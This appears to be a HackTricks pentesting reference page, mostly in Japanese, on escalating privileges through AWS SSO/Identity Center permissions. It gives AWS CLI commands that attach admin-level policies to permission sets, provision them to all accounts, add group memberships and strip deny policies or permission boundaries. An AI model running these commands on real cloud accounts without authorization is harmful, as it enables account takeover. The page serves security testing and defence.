# AWS - SSO & identitystore Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## AWS Identity Center / AWS SSO

For more information about AWS Identity Center / AWS SSO check:

{{#ref}}
../../aws-services/aws-iam-enum.md
{{#endref}}

> [!WARNING]
> デフォルトでは、**Management Account** の権限を持つ **users** のみが **IAM Identity Center** にアクセスして制御できます。\
> 他のアカウントのユーザーは、そのアカウントが **Delegated Adminstrator.** の場合にのみ許可されます。\
> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)

### ~~パスワードのリセット~~

このようなケースで権限を昇格させる簡単な方法の一つは、ユーザーのパスワードをリセットできる権限を持つことです。しかし残念ながら、実際にはユーザーにパスワードリセット用のメールを送信するだけで、ユーザーのメールへのアクセスが必要になります。

### `identitystore:CreateGroupMembership`

この権限があれば、ユーザーをグループに追加でき、そのグループが持つすべての権限を継承させることができます。
```bash
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
```
### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet`

この権限を持つ攻撃者は、自分が制御する user に付与されている Permission Set に対して追加の権限を付与できる可能性がある。
```bash
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
```
### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet`

この権限を持つ攻撃者は、自身が管理するユーザーに付与されている Permission Set に対して追加の権限を付与できる。
```bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
```
### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet`

この権限を持つ攻撃者は、自分が制御するユーザーに付与されている Permission Set に対して追加の権限を付与することができます。

> [!WARNING]
> この権限を悪用するには、このケースでは影響を受ける**ALL the accounts に存在する customer managed policy の名前**を知っている必要があります。
```bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
```
### `sso:CreateAccountAssignment`

この権限を持つ攻撃者は、自身が制御するユーザーに対してPermission Setをアカウントに付与することができます。
```bash
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
```
### `sso:GetRoleCredentials`

ユーザーに割り当てられた特定のロール名に対する、STS の短期認証情報を返します。
```
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
```
ただし、取得方法がわからない access token が必要です (TODO)。

### `sso:DetachManagedPolicyFromPermissionSet`

この権限を持つ attacker は、指定された permission set から AWS managed policy との関連付けを削除できます。より多くの権限を付与することが、**detaching a managed policy (deny policy)** を通じて可能です。
```bash
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
```
### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet`

この権限を持つ攻撃者は、指定された permission set から Customer managed policy の関連付けを削除できます。より多くの権限を付与するには **detaching a managed policy (deny policy)** が可能です。
```bash
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
```
### `sso:DeleteInlinePolicyFromPermissionSet`

この権限を持つ攻撃者は、permission set の inline policy から権限を削除できます。**inline policy (deny policy) をデタッチすることで、より多くの権限を付与できます。**
```bash
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
```
### `sso:DeletePermissionBoundaryFromPermissionSet`

この権限を持つ攻撃者は、Permission Boundary を Permission Set から削除できます。Permission Boundary によって Permission Set に課された制限を取り除くことで、**より多くの権限を付与できる可能性があります**。
```bash
aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
```
{{#include ../../../../banners/hacktricks-training.md}}
